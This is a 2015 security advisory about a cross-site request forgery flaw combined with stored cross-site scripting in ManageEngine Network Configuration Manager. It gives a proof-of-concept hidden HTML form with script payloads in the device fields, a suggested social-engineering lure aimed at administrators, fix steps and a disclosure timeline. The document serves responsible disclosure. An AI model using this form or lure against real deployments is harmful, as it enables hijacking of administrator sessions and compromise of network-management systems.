Cross-Site Request Forgery (CSRF) Vulnerability in ManageEngine Network Configuration

Type securityvulns
Reporter Securityvulns
Modified 2015-05-11T00:00:00


Title:- Cross-Site Request Forgery (CSRF) Vulnerability in ManageEngine Network Configuration Management Author: Kaustubh G. Padwad Vendor: ZOHO Corp Product: ManageEngine Network Configuration Manager Tested Version: : Network Configuration Manager Build 11000 Severity: HIGH

About the Product:

Network Configuration Manager is a web–based, multi vendor network change, configuration and compliance management (NCCCM) solution for switches, routers, firewalls and other network devices. Trusted by thousands of network administrators around the world, Network Configuration Manager helps automate and take total control of the entire life cycle of device configuration management.


This Cross-Site Request Forgery vulnerability enables an anonymous attacker to add an device into the application. and device fileds are vulnerable to cross site scripting attack This leads to compromising the whole domain as the application.

Vulnerability Class:

Cross-Site Request Forgery (CSRF) - Cross-Site-Scripting How to Reproduce: (POC): ========================

  • Add follwing code to webserver and send that malicious link to application Admin.

  • The admin should be loggedin when he clicks on the link.

( Soical enginering might help here

  • For Example :- Device password has been changed click here to reset



&lt;form action=&quot;; method=&quot;POST&quot;&gt;
  &lt;input type=&quot;hidden&quot; name=&quot;IPADDRESS&quot; value=&quot;192&#46;168&#46;1&#46;1&quot; /&gt;
  &lt;input type=&quot;hidden&quot; name=&quot;SERIES&quot; value=&quot;&amp;lt;script&amp;gt;alert&#40;&amp;quot;1&amp;quot;&#41;&amp;lt;&#47;script&amp;gt;&quot; /&gt;
  &lt;input type=&quot;hidden&quot; name=&quot;MODEL&quot; value=&quot;&amp;lt;script&amp;gt;alert&#40;&amp;quot;1&amp;quot;&#41;&amp;lt;&#47;script&amp;gt;&quot; /&gt;
  &lt;input type=&quot;hidden&quot; name=&quot;COLUMNNAME1&quot; value=&quot;&amp;lt;script&amp;gt;alert&#40;&amp;quot;1&amp;quot;&#41;&amp;lt;&#47;script&amp;gt;&quot; /&gt;
  &lt;input type=&quot;hidden&quot; name=&quot;COLUMNNAME2&quot; value=&quot;&amp;lt;script&amp;gt;alert&#40;&amp;quot;1&amp;quot;&#41;&amp;lt;&#47;script&amp;gt;&quot; /&gt;
  &lt;input type=&quot;hidden&quot; name=&quot;VENDOR&#95;NAME&quot; value=&quot;3Com&quot; /&gt;
  &lt;input type=&quot;hidden&quot; name=&quot;DEVICE&#95;BEHAVIOUR&quot; value=&quot;3Com&#32;4200G&#32;Series&#32;Switch&quot; /&gt;
  &lt;input type=&quot;submit&quot; value=&quot;Submit request&quot; /&gt;

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Download and unzip the fix from the below link:

  1. Stop the Network Configuration Manager service.
  2. Please replace settingModel.js under NCM_Home\webapps\netflow\ncmapiclient\ember\models\Settings\settingModel.js with with one under\settingModel.js.
  3. Please replace AdvNCM.jar and main.js under NCM_Home\webapps\netflow\ncmapiclient\ember\javascript with the one under


04-Mar-2015 Repoerted to vendor 13-Mar-2015 Fixed By Vendor 16-Mar-2015 Requested for CVE ID 21-Mar-2015 Public Disclosed


Kaustubh Padwad Information Security Researcher

Kaustubh Padwad Information Security Researcher